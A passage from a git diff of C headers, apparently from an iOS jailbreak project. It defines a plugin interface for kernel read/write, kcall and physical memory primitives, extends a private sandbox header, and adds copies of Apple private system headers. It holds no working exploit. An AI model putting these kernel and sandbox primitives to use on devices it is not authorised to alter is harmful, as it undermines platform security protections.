krw_kwrite_func_t kwrite; + krw_kmalloc_func_t kmalloc; + krw_kdealloc_func_t kdealloc; + krw_kcall_func_t kcall; + krw_physread_func_t physread; + krw_physwrite_func_t physwrite; +}; + +typedef struct krw_handlers_s* krw_handlers_t; + +/** + * krw_initializer_t - plugin initialization prototype + * + * Called krw_initializer_t krw_initializer is called when a plugin is opened to + * determine if read/write primitives are available + * + * krw_initializer should set as many of handlers->kread, handlers->kwrite, handlers->kbase, + * handlers->kmalloc, and handlers->kdealloc as possible on success - any not set will + * return unsupported. + * + * Called krw_initializer_t kcall_initializer is called when a plugin is opened to + * determine if read/write primitives are available. It is passed a structure containing + * populated kread/kwrite functions + * + * kcall_initializer should set as many of handlers->kcall, handlers->physread, and + * handlers->physwrite as possible on success. any not set will return unsupported. + * + * Retuns 0 if read/write are supported by this plugin +**/ +typedef int (*krw_plugin_initializer_t)(krw_handlers_t handlers); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/BaseBin/_external/include/libproc_private.h b/BaseBin/_external/include/libproc_private.h deleted file mode 100644 index aa936ef985..0000000000 --- a/BaseBin/_external/include/libproc_private.h +++ /dev/null @@ -1,27 +0,0 @@ -struct proc_bsdinfo { - uint32_t pbi_flags; /* 64bit; emulated etc */ - uint32_t pbi_status; - uint32_t pbi_xstatus; - uint32_t pbi_pid; - uint32_t pbi_ppid; - uid_t pbi_uid; - gid_t pbi_gid; - uid_t pbi_ruid; - gid_t pbi_rgid; - uid_t pbi_svuid; - gid_t pbi_svgid; - uint32_t rfu_1; /* reserved */ - char pbi_comm[MAXCOMLEN]; - char pbi_name[2 * MAXCOMLEN]; /* empty if no name is registered */ - uint32_t pbi_nfiles; - uint32_t pbi_pgid; - uint32_t pbi_pjobc; - uint32_t e_tdev; /* controlling tty dev */ - uint32_t e_tpgid; /* tty process group id */ - int32_t pbi_nice; - uint64_t pbi_start_tvsec; - uint64_t pbi_start_tvusec; -}; - -#define PROC_PIDTBSDINFO 3 -#define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo)) \ No newline at end of file diff --git a/BaseBin/_external/include/os/alloc_once_impl.h b/BaseBin/_external/include/os/alloc_once_impl.h new file mode 100644 index 0000000000..4c9f8def3a --- /dev/null +++ b/BaseBin/_external/include/os/alloc_once_impl.h @@ -0,0 +1,80 @@ +/* + * Copyright (c) 2012-2013 Apple Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ + +#ifndef __OS_ALLOC_ONCE_IMPL__ +#define __OS_ALLOC_ONCE_IMPL__ + +#ifndef __OS_ALLOC_INDIRECT__ +#error "Please include instead of this file directly." +#endif + +#include +#include +#include +#include + +__BEGIN_DECLS + +#define OS_ALLOC_SPI_VERSION 20120430 + +#define OS_ALLOC_ONCE_KEY_MAX 100 + +typedef os_once_t os_alloc_token_t; +struct _os_alloc_once_s { + os_alloc_token_t once; + void *ptr; +}; + +__OSX_AVAILABLE_STARTING(__MAC_10_9,__IPHONE_6_0) +extern struct _os_alloc_once_s _os_alloc_once_table[]; + +__OSX_AVAILABLE_STARTING(__MAC_10_9,__IPHONE_6_0) +OS_EXPORT OS_NONNULL1 +void* +_os_alloc_once(struct _os_alloc_once_s *slot, size_t sz, os_function_t init); + +/* + * The region allocated by os_alloc_once is 0-filled when initially + * returned (or handed off to the initializer). + */ +OS_WARN_RESULT OS_NOTHROW OS_CONST +__header_always_inline void* +os_alloc_once(os_alloc_token_t token, size_t sz, os_function_t init) +{ + struct _os_alloc_once_s *slot = &_os_alloc_once_table[token]; + if (OS_EXPECT(slot->once, ~0l) != ~0l) { + void *ptr = _os_alloc_once(slot, sz, init); + OS_COMPILER_CAN_ASSUME(slot->once == ~0l); + return ptr; + } + return slot->ptr; +} + +__END_DECLS + +#endif // __OS_ALLOC_ONCE_IMPL__ diff --git a/BaseBin/_external/include/os/alloc_once_private.h b/BaseBin/_external/include/os/alloc_once_private.h new file mode 100644 index 0000000000..497127be3a --- /dev/null +++ b/BaseBin/_external/include/os/alloc_once_private.h @@ -0,0 +1,79 @@ +/* + * Copyright (c) 2012-2013 Apple Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ + +#ifndef __OS_ALLOC__ +#define __OS_ALLOC__ + +#ifndef __OS_ALLOC_INDIRECT__ +#define __OS_ALLOC_INDIRECT__ +#endif // __OS_ALLOC_INDIRECT__ + +#include + +/* Keys for use with os_once_alloc. */ + +/* Keys for Libsystem. */ +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_NOTIFY 0 +#define OS_ALLOC_ONCE_KEY_LIBXPC 1 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_C 2 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_INFO 3 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_NETWORK 4 +#define OS_ALLOC_ONCE_KEY_LIBCACHE 5 +#define OS_ALLOC_ONCE_KEY_LIBCOMMONCRYPTO 6 +#define OS_ALLOC_ONCE_KEY_LIBDISPATCH 7 +#define OS_ALLOC_ONCE_KEY_LIBDYLD 8 +#define OS_ALLOC_ONCE_KEY_LIBKEYMGR 9 +#define OS_ALLOC_ONCE_KEY_LIBLAUNCH 10 +#define OS_ALLOC_ONCE_KEY_LIBMACHO 11 +#define OS_ALLOC_ONCE_KEY_OS_TRACE 12 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_BLOCKS 13 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_MALLOC 14 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_PLATFORM 15 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_PTHREAD 16 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_STATS 17 +#define OS_ALLOC_ONCE_KEY_LIBSECINIT 18 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_CORESERVICES 19 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_SYMPTOMS 20 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_PLATFORM_ASL 21 +#define OS_ALLOC_ONCE_KEY_LIBSYSTEM_FEATUREFLAGS 22 + +/* Keys OS_ALLOC_ONCE_KEY_MAX - 10 upwards are reserved for the system. */ +#define OS_ALLOC_ONCE_KEY_RESERVED_0 (OS_ALLOC_ONCE_KEY_MAX - 10) +#define OS_ALLOC_ONCE_KEY_RESERVED_1 (OS_ALLOC_ONCE_KEY_MAX - 9) +#define OS_ALLOC_ONCE_KEY_RESERVED_2 (OS_ALLOC_ONCE_KEY_MAX - 8) +#define OS_ALLOC_ONCE_KEY_RESERVED_3 (OS_ALLOC_ONCE_KEY_MAX - 7) +#define OS_ALLOC_ONCE_KEY_RESERVED_4 (OS_ALLOC_ONCE_KEY_MAX - 6) +#define OS_ALLOC_ONCE_KEY_RESERVED_5 (OS_ALLOC_ONCE_KEY_MAX - 5) +#define OS_ALLOC_ONCE_KEY_RESERVED_6 (OS_ALLOC_ONCE_KEY_MAX - 4) +#define OS_ALLOC_ONCE_KEY_RESERVED_7 (OS_ALLOC_ONCE_KEY_MAX - 3) +#define OS_ALLOC_ONCE_KEY_RESERVED_8 (OS_ALLOC_ONCE_KEY_MAX - 2) +#define OS_ALLOC_ONCE_KEY_RESERVED_9 (OS_ALLOC_ONCE_KEY_MAX - 1) + +/* OS_ALLOC_ONCE_KEY_MAX cannot be used. */ + +#endif // __OS_ALLOC__ diff --git a/BaseBin/_external/include/os/once_private.h b/BaseBin/_external/include/os/once_private.h new file mode 100644 index 0000000000..3c9cf82641 --- /dev/null +++ b/BaseBin/_external/include/os/once_private.h @@ -0,0 +1,67 @@ +/* + * Copyright (c) 2008-2013 Apple Inc. All rights reserved. + * + * @APPLE_APACHE_LICENSE_HEADER_START@ + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * @APPLE_APACHE_LICENSE_HEADER_END@ + */ + +#ifndef __OS_ONCE_PRIVATE__ +#define __OS_ONCE_PRIVATE__ + +#include +#include + +OS_ASSUME_NONNULL_BEGIN + +__BEGIN_DECLS + +#define OS_ONCE_SPI_VERSION 20130313 + +OS_SWIFT_UNAVAILABLE("Swift has lazy init") +typedef long os_once_t; + +__OSX_AVAILABLE_STARTING(__MAC_10_9,__IPHONE_7_0) +OS_EXPORT OS_NONNULL1 OS_NONNULL3 OS_NOTHROW +OS_SWIFT_UNAVAILABLE("Swift has lazy init") +void +_os_once(os_once_t *predicate, void *_Nullable context, os_function_t function); + +OS_NONNULL1 OS_NONNULL3 OS_NOTHROW +__header_always_inline void +os_once(os_once_t *predicate, void *_Nullable context, os_function_t function) +{ + if (OS_EXPECT(*predicate, ~0l) != ~0l) { + _os_once(predicate, context, function); + OS_COMPILER_CAN_ASSUME(*predicate == ~0l); + } else { + os_compiler_barrier(); + } +} + +/* This SPI is *strictly* for the use of pthread_once only. This is not + * safe in general use of os_once. + */ +__OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0) +OS_EXPORT OS_NONNULL1 OS_NOTHROW +OS_SWIFT_UNAVAILABLE("Swift has lazy init") +void +__os_once_reset(os_once_t *val); + +__END_DECLS + +OS_ASSUME_NONNULL_END + +#endif // __OS_ONCE_PRIVATE__ diff --git a/BaseBin/_external/include/sandbox.h b/BaseBin/_external/include/sandbox.h index 2e423d28f0..6aa8f5af27 100644 --- a/BaseBin/_external/include/sandbox.h +++ b/BaseBin/_external/include/sandbox.h @@ -1,3 +1,6 @@ +#ifndef __SANDBOX_H__ +#define __SANDBOX_H__ + #include #include @@ -115,4 +118,15 @@ int sandbox_extension_release(int64_t extension_handle); int sandbox_extension_release_file(int64_t extension_handle, const char *path); int sandbox_extension_update_file(int64_t extension_handle, const char *path); -int __sandbox_ms(const char *policyname, int call, void *arg); \ No newline at end of file +struct sandbox_policy_layout { + void *profile; + uint64_t len; + void *container; + uint64_t containerLen; + uint64_t pad1; + uint64_t pad2; +}; + +int __sandbox_ms(const char *policyname, int callnum, struct sandbox_policy_layout *policy); + +#endif \ No newline at end of file diff --git a/BaseBin/_external/include/sys/kern_control.h b/BaseBin/_external/include/sys/kern_control.h new file mode 100644 index 0000000000..5dde92543a --- /dev/null +++ b/BaseBin/_external/include/sys/kern_control.h @@ -0,0 +1,152 @@ +/* + * Copyright (c) 2000-2004, 2012-2016 Apple Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ +/*! + * @header kern_control.h + * This header defines an API to communicate between a kernel + * extension and a process outside of the kernel. + */ + +#ifndef KPI_KERN_CONTROL_H +#define KPI_KERN_CONTROL_H + + +#include +#include +#include +#include +#include + +/* + * Define Controller event subclass, and associated events. + * Subclass of KEV_SYSTEM_CLASS + */ + +/*! + * @defined KEV_CTL_SUBCLASS + * @discussion The kernel event subclass for kernel control events. + */ +#define KEV_CTL_SUBCLASS 2 + +/*! + * @defined KEV_CTL_REGISTERED + * @discussion The event code indicating a new controller was + * registered. The data portion will contain a ctl_event_data. + */ +#define KEV_CTL_REGISTERED 1 /* a new controller appears */ + +/*! + * @defined KEV_CTL_DEREGISTERED + * @discussion The event code indicating a controller was unregistered. + * The data portion will contain a ctl_event_data. + */ +#define KEV_CTL_DEREGISTERED 2 /* a controller disappears */ + +/*! + * @struct ctl_event_data + * @discussion This structure is used for KEV_CTL_SUBCLASS kernel + * events. + * @field ctl_id The kernel control id. + * @field ctl_unit The kernel control unit. + */ +struct ctl_event_data { + u_int32_t ctl_id; /* Kernel Controller ID */ + u_int32_t ctl_unit; +}; + +/* + * Controls destined to the Controller Manager. + */ + +/*! + * @defined CTLIOCGCOUNT + * @discussion The CTLIOCGCOUNT ioctl can be used to determine the + * number of kernel controllers registered. + */ +#define CTLIOCGCOUNT _IOR('N', 2, int) /* get number of control structures registered */ + +/*! + * @defined CTLIOCGINFO + * @discussion The CTLIOCGINFO ioctl can be used to convert a kernel + * control name to a kernel control id. + */ +#define CTLIOCGINFO _IOWR('N', 3, struct ctl_info) /* get id from name */ + + +/*! + * @defined MAX_KCTL_NAME + * @discussion Kernel control names must be no longer than + * MAX_KCTL_NAME. + */ +#define MAX_KCTL_NAME 96 + +/* + * Controls destined to the Controller Manager. + */ + +/*! + * @struct ctl_info + * @discussion This structure is used with the CTLIOCGINFO ioctl to + * translate from a kernel control name to a control id. + * @field ctl_id The kernel control id, filled out upon return. + * @field ctl_name The kernel control name to find. + */ +struct ctl_info { + u_int32_t ctl_id; /* Kernel Controller ID */ + char ctl_name[MAX_KCTL_NAME]; /* Kernel Controller Name (a C string) */ +}; + + +/*! + * @struct sockaddr_ctl + * @discussion The controller address structure is used to establish + * contact between a user client and a kernel controller. The + * sc_id/sc_unit uniquely identify each controller. sc_id is a + * unique identifier assigned to the controller. The identifier can + * be assigned by the system at registration time or be a 32-bit + * creator code obtained from Apple Computer. sc_unit is a unit + * number for this sc_id, and is privately used by the kernel + * controller to identify several instances of the controller. + * @field sc_len The length of the structure. + * @field sc_family AF_SYSTEM. + * @field ss_sysaddr AF_SYS_KERNCONTROL. + * @field sc_id Controller unique identifier. + * @field sc_unit Kernel controller private unit number. + * @field sc_reserved Reserved, must be set to zero. + */ +struct sockaddr_ctl { + u_char sc_len; /* depends on size of bundle ID string */ + u_char sc_family; /* AF_SYSTEM */ + u_int16_t ss_sysaddr; /* AF_SYS_KERNCONTROL */ + u_int32_t sc_id; /* Controller unique identifier */ + u_int32_t sc_unit; /* Developer private unit number */ + u_int32_t sc_reserved[5]; +}; + + + +#endif /* KPI_KERN_CONTROL_H */ diff --git a/BaseBin/_external/include/sys/proc_info.h b/BaseBin/_external/include/sys/proc_info.h new file mode 100644 index 0000000000..34f52a4032 --- /dev/null +++ b/BaseBin/_external/include/sys/proc_info.h @@ -0,0 +1,621 @@ +/* + * Copyright (c) 2005-2021 Apple Inc. All rights reserved. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. The rights granted to you under the License + * may not be used to create, or enable the creation or redistribution of, + * unlawful or unlicensed copies of an Apple operating system, or to + * circumvent, violate, or enable the circumvention or violation of, any + * terms of an Apple operating system software license agreement. + * + * Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ + */ + +#ifndef _SYS_PROC_INFO_H +#define _SYS_PROC_INFO_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +__BEGIN_DECLS + + +#define PROC_ALL_PIDS 1 +#define PROC_PGRP_ONLY 2 +#define PROC_TTY_ONLY 3 +#define PROC_UID_ONLY 4 +#define PROC_RUID_ONLY 5 +#define PROC_PPID_ONLY 6 +#define PROC_KDBG_ONLY 7 + +struct proc_bsdinfo { + uint32_t pbi_flags; /* 64bit; emulated etc */ + uint32_t pbi_status; + uint32_t pbi_xstatus; + uint32_t pbi_pid; + uint32_t pbi_ppid; + uid_t pbi_uid; + gid_t pbi_gid; + uid_t pbi_ruid; + gid_t pbi_rgid; + uid_t pbi_svuid; + gid_t pbi_svgid; + uint32_t rfu_1; /* reserved */ + char pbi_comm[MAXCOMLEN]; + char pbi_name[2 * MAXCOMLEN]; /* empty if no name is registered */ + uint32_t pbi_nfiles; + uint32_t pbi_pgid; + uint32_t pbi_pjobc; + uint32_t e_tdev; /* controlling tty dev */ + uint32_t e_tpgid; /* tty process group id */ + int32_t pbi_nice; + uint64_t pbi_start_tvsec; + uint64_t pbi_start_tvusec; +}; + + +struct proc_bsdshortinfo { + uint32_t pbsi_pid; /* process id */ + uint32_t pbsi_ppid; /* process parent id */ + uint32_t pbsi_pgid; /* process perp id */ + uint32_t pbsi_status; /* p_stat value, SZOMB, SRUN, etc */ + char pbsi_comm[MAXCOMLEN]; /* upto 16 characters of process name */ + uint32_t pbsi_flags; /* 64bit; emulated etc */ + uid_t pbsi_uid; /* current uid on process */ + gid_t pbsi_gid; /* current gid on process */ + uid_t pbsi_ruid; /* current ruid on process */ + gid_t pbsi_rgid; /* current tgid on process */ + uid_t pbsi_svuid; /* current svuid on process */ + gid_t pbsi_svgid; /* current svgid on process */ + uint32_t pbsi_rfu; /* reserved for future use*/ +}; + + +/* pbi_flags values */ +#define PROC_FLAG_SYSTEM 1 /* System process */ +#define PROC_FLAG_TRACED 2 /* process currently being traced, possibly by gdb */ +#define PROC_FLAG_INEXIT 4 /* process is working its way in exit() */ +#define PROC_FLAG_PPWAIT 8 +#define PROC_FLAG_LP64 0x10 /* 64bit process */ +#define PROC_FLAG_SLEADER 0x20 /* The process is the session leader */ +#define PROC_FLAG_CTTY 0x40 /* process has a control tty */ +#define PROC_FLAG_CONTROLT 0x80 /* Has a controlling terminal */ +#define PROC_FLAG_THCWD 0x100 /* process has a thread with cwd */ +/* process control bits for resource starvation */ +#define PROC_FLAG_PC_THROTTLE 0x200 /* In resource starvation situations, this process is to be throttled */ +#define PROC_FLAG_PC_SUSP 0x400 /* In resource starvation situations, this process is to be suspended */ +#define PROC_FLAG_PC_KILL 0x600 /* In resource starvation situations, this process is to be terminated */ +#define PROC_FLAG_PC_MASK 0x600 +/* process action bits for resource starvation */ +#define PROC_FLAG_PA_THROTTLE 0x800 /* The process is currently throttled due to resource starvation */ +#define PROC_FLAG_PA_SUSP 0x1000 /* The process is currently suspended due to resource starvation */ +#define PROC_FLAG_PSUGID 0x2000 /* process has set privileges since last exec */ +#define PROC_FLAG_EXEC 0x4000 /* process has called exec */ + + +struct proc_taskinfo { + uint64_t pti_virtual_size; /* virtual memory size (bytes) */ + uint64_t pti_resident_size; /* resident memory size (bytes) */ + uint64_t pti_total_user; /* total time */ + uint64_t pti_total_system; + uint64_t pti_threads_user; /* existing threads only */ + uint64_t pti_threads_system; + int32_t pti_policy; /* default policy for new threads */ + int32_t pti_faults; /* number of page faults */ + int32_t pti_pageins; /* number of actual pageins */ + int32_t pti_cow_faults; /* number of copy-on-write faults */ + int32_t pti_messages_sent; /* number of messages sent */ + int32_t pti_messages_received; /* number of messages received */ + int32_t pti_syscalls_mach; /* number of mach system calls */ + int32_t pti_syscalls_unix; /* number of unix system calls */ + int32_t pti_csw; /* number of context switches */ + int32_t pti_threadnum; /* number of threads in the task */ + int32_t pti_numrunning; /* number of running threads */ + int32_t pti_priority; /* task priority*/ +}; + +struct proc_taskallinfo { + struct proc_bsdinfo pbsd; + struct proc_taskinfo ptinfo; +}; + +#define MAXTHREADNAMESIZE 64 + +struct proc_threadinfo { + uint64_t pth_user_time; /* user run time */ + uint64_t pth_system_time; /* system run time */ + int32_t pth_cpu_usage; /* scaled cpu usage percentage */ + int32_t pth_policy; /* scheduling policy in effect */ + int32_t pth_run_state; /* run state (see below) */ + int32_t pth_flags; /* various flags (see below) */ + int32_t pth_sleep_time; /* number of seconds that thread */ + int32_t pth_curpri; /* cur priority*/ + int32_t pth_priority; /* priority*/ + int32_t pth_maxpriority; /* max priority*/ + char pth_name[MAXTHREADNAMESIZE]; /* thread name, if any */ +}; + +struct proc_regioninfo { + uint32_t pri_protection; + uint32_t pri_max_protection; + uint32_t pri_inheritance; + uint32_t pri_flags; /* shared, external pager, is submap */ + uint64_t pri_offset; + uint32_t pri_behavior; + uint32_t pri_user_wired_count; + uint32_t pri_user_tag; + uint32_t pri_pages_resident; + uint32_t pri_pages_shared_now_private; + uint32_t pri_pages_swapped_out; + uint32_t pri_pages_dirtied; + uint32_t pri_ref_count; + uint32_t pri_shadow_depth; + uint32_t pri_share_mode; + uint32_t pri_private_pages_resident; + uint32_t pri_shared_pages_resident; + uint32_t pri_obj_id; + uint32_t pri_depth; + uint64_t pri_address; + uint64_t pri_size; +}; + +#define PROC_REGION_SUBMAP 1 +#define PROC_REGION_SHARED 2 + +#define SM_COW 1 +#define SM_PRIVATE 2 +#define SM_EMPTY 3 +#define SM_SHARED 4 +#define SM_TRUESHARED 5 +#define SM_PRIVATE_ALIASED 6 +#define SM_SHARED_ALIASED 7 +#define SM_LARGE_PAGE 8 + + +/* + * Thread run states (state field). + */ + +#define TH_STATE_RUNNING 1 /* thread is running normally */ +#define TH_STATE_STOPPED 2 /* thread is stopped */ +#define TH_STATE_WAITING 3 /* thread is waiting normally */ +#define TH_STATE_UNINTERRUPTIBLE 4 /* thread is in an uninterruptible + * wait */ +#define TH_STATE_HALTED 5 /* thread is halted at a + * clean point */ + +/* + * Thread flags (flags field). + */ +#define TH_FLAGS_SWAPPED 0x1 /* thread is swapped out */ +#define TH_FLAGS_IDLE 0x2 /* thread is an idle thread */ + + +struct proc_workqueueinfo { + uint32_t pwq_nthreads; /* total number of workqueue threads */ + uint32_t pwq_runthreads; /* total number of running workqueue threads */ + uint32_t pwq_blockedthreads; /* total number of blocked workqueue threads */ + uint32_t pwq_state; +}; + +/* + * workqueue state (pwq_state field) + */ +#define WQ_EXCEEDED_CONSTRAINED_THREAD_LIMIT 0x1 +#define WQ_EXCEEDED_TOTAL_THREAD_LIMIT 0x2 +#define WQ_FLAGS_AVAILABLE 0x4 +/* + * WQ_EXCEEDED_COOPERATIVE_THREAD_LIMIT is set if wq has scheduled cooperative + * threads upto the cooperative thread pool limit and there is still more work + * pending in the cooperative pool that require a thread. + */ +#define WQ_EXCEEDED_COOPERATIVE_THREAD_LIMIT 0x8 +/* + * WQ_EXCEEDED_ACTIVE_CONSTRAINED_THREAD_LIMIT is set when wq has pending thread + * requests for the constrained thread pool; but, has failed the allowance check + * because of active thread limit. + */ +#define WQ_EXCEEDED_ACTIVE_CONSTRAINED_THREAD_LIMIT 0x10 + +struct proc_fileinfo { + uint32_t fi_openflags; + uint32_t fi_status; + off_t fi_offset; + int32_t fi_type; + uint32_t fi_guardflags; +}; + +/* stats flags in proc_fileinfo */ +#define PROC_FP_SHARED 1 /* shared by more than one fd */ +#define PROC_FP_CLEXEC 2 /* close on exec */ +#define PROC_FP_GUARDED 4 /* guarded fd */ +#define PROC_FP_CLFORK 8 /* close on fork */ + +#define PROC_FI_GUARD_CLOSE (1u << 0) +#define PROC_FI_GUARD_DUP (1u << 1) +#define PROC_FI_GUARD_SOCKET_IPC (1u << 2) +#define PROC_FI_GUARD_FILEPORT (1u << 3) + +struct proc_exitreasonbasicinfo { + uint32_t beri_namespace; + uint64_t beri_code; + uint64_t beri_flags; + uint32_t beri_reason_buf_size; +} __attribute__((packed)); + +struct proc_exitreasoninfo { + uint32_t eri_namespace; + uint64_t eri_code; + uint64_t eri_flags; + uint32_t eri_reason_buf_size; + uint64_t eri_kcd_buf; +} __attribute__((packed)); + +/* + * A copy of stat64 with static sized fields. + */ +struct vinfo_stat { + uint32_t vst_dev; /* [XSI] ID of device containing file */ + uint16_t vst_mode; /* [XSI] Mode of file (see below) */ + uint16_t vst_nlink; /* [XSI] Number of hard links */ + uint64_t vst_ino; /* [XSI] File serial number */ + uid_t vst_uid; /* [XSI] User ID of the file */ + gid_t vst_gid; /* [XSI] Group ID of the file */ + int64_t vst_atime; /* [XSI] Time of last access */ + int64_t vst_atimensec; /* nsec of last access */ + int64_t vst_mtime; /* [XSI] Last data modification time */ + int64_t vst_mtimensec; /* last data modification nsec */ + int64_t vst_ctime; /* [XSI] Time of last status change */ + int64_t vst_ctimensec; /* nsec of last status change */ + int64_t vst_birthtime; /* File creation time(birth) */ + int64_t vst_birthtimensec; /* nsec of File creation time */ + off_t vst_size; /* [XSI] file size, in bytes */ + int64_t vst_blocks; /* [XSI] blocks allocated for file */ + int32_t vst_blksize; /* [XSI] optimal blocksize for I/O */ + uint32_t vst_flags; /* user defined flags for file */ + uint32_t vst_gen; /* file generation number */ + uint32_t vst_rdev; /* [XSI] Device ID */ + int64_t vst_qspare[2]; /* RESERVED: DO NOT USE! */ +}; + +struct vnode_info { + struct vinfo_stat vi_stat; + int vi_type; + int vi_pad; + fsid_t vi_fsid; +}; + +struct vnode_info_path { + struct vnode_info vip_vi; + char vip_path[MAXPATHLEN]; /* tail end of it */ +}; + +struct vnode_fdinfo { + struct proc_fileinfo pfi; + struct vnode_info pvi; +}; + +struct vnode_fdinfowithpath { + struct proc_fileinfo pfi; + struct vnode_info_path pvip; +}; + +struct proc_regionwithpathinfo { + struct proc_regioninfo prp_prinfo; + struct vnode_info_path prp_vip; +}; + +struct proc_regionpath { + uint64_t prpo_addr; + uint64_t prpo_regionlength; + char prpo_path[MAXPATHLEN]; +}; + +struct proc_vnodepathinfo { + struct vnode_info_path pvi_cdir; + struct vnode_info_path pvi_rdir; +}; + +struct proc_threadwithpathinfo { + struct proc_threadinfo pt; + struct vnode_info_path pvip; +}; + + +struct psem_info { + struct vinfo_stat psem_stat; + char psem_name[MAXPATHLEN]; +}; + +struct psem_fdinfo { + struct proc_fileinfo pfi; + struct psem_info pseminfo; +}; + + + +struct pshm_info { + struct vinfo_stat pshm_stat; + uint64_t pshm_mappaddr; + char pshm_name[MAXPATHLEN]; +}; + +struct pshm_fdinfo { + struct proc_fileinfo pfi; + struct pshm_info pshminfo; +}; + + +struct pipe_info { + struct vinfo_stat pipe_stat; + uint64_t pipe_handle; + uint64_t pipe_peerhandle; + int pipe_status; + int rfu_1; /* reserved */ +}; + +struct pipe_fdinfo { + struct proc_fileinfo pfi; + struct pipe_info pipeinfo; +}; + + +struct kqueue_info { + struct vinfo_stat kq_stat; + uint32_t kq_state; + uint32_t rfu_1; /* reserved */ +}; + +struct kqueue_dyninfo { + struct kqueue_info kqdi_info; + uint64_t kqdi_servicer; + uint64_t kqdi_owner; + uint32_t kqdi_sync_waiters; + uint8_t kqdi_sync_waiter_qos; + uint8_t kqdi_async_qos; + uint16_t kqdi_request_state; + uint8_t kqdi_events_qos; + uint8_t kqdi_pri; + uint8_t kqdi_pol; + uint8_t kqdi_cpupercent; + uint8_t _kqdi_reserved0[4]; + uint64_t _kqdi_reserved1[4]; +}; + +/* keep in sync with KQ_* in sys/eventvar.h */ +#define PROC_KQUEUE_SELECT 0x0001 +#define PROC_KQUEUE_SLEEP 0x0002 